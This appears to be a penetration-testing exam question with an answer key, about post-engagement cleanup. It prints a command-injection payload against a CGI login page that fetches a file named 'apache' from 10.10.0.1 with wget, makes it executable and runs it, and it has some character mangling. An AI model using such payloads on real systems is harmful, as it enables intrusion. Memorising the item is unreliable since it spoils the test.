exploit += “/cgi-bin/index.cgi?

A penetration tester was able to gain access to a system using an exploit.

The following is a snippet of the code that was utilized:

exploit = “POST ”

exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} C

c${IFS}’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS }apache;${IFS}./apache’%0A%27&loginUser=a&Pwd=a”

exploit += “HTTP/1.1”

Which of the following commands should the penetration tester run post-engagement?
A . grep Cv apache ~/.bash_history > ~/.bash_history
B. rm Crf /tmp/apache
C. chmod 600 /tmp/apache
D. taskkill /IM “apache” /F

View Answer

Answer: B